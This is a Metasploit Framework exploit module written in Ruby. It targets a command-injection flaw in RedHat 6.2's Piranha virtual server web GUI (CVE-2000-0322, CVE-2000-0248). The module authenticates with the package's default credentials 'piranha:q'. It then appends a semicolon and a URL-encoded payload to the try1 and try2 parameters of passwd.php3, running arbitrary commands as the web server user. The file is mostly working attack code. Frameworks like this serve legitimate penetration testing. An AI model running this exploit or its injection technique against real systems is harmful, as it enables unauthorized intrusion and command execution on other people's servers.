##
# $Id: piranha_passwd_exec.rb 8497 2010-02-14 20:27:24Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
      'Description'    => %q{
        This module abuses two flaws - a metacharacter injection vulnerability in the
        HTTP management server of RedHat 6.2 systems running the Piranha
        LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
        The vulnerability allows an authenticated attacker to execute arbitrary
        commands as the Apache user account (nobody) within the
        /piranha/secure/passwd.php3 script. The package installs with a default
        user and password of piranha:q which was exploited in the wild.
      },
      'Author'         => [ 'patrick' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 8497 $',
      'References'     =>
        [
          [ 'CVE', '2000-0322' ],
          [ 'CVE', '2000-0248' ],
          [ 'OSVDB', '1300' ],
          [ 'OSVDB', '289' ],
          [ 'BID', '1149' ],
          [ 'BID', '1148' ],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic',
              # inetd works, but not on RH6.2 syntax wise. telnet also, but /dev/tcp not found.
              # others use single quotes which apache/bash/htpasswd escapes (\) and breaks. sigh!
            }
        },
      'Targets'        =>
        [
          [ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { }]
        ],
      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(80),
          OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
          OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']),
        ], self.class)
  end

  def exploit
    cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
    str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
    print_status("Sending GET request with encoded command line...")
    res = send_request_raw({
        'uri' => str,
        'method' => 'GET',
        'headers' => {
          'content-type' => 'application/x-www-form-urlencoded',
          },
    }, 3)

    if (res.code == 401)
      print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!")
    elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
      print_status("Command successfully executed (according to the server).")
    end

  end

end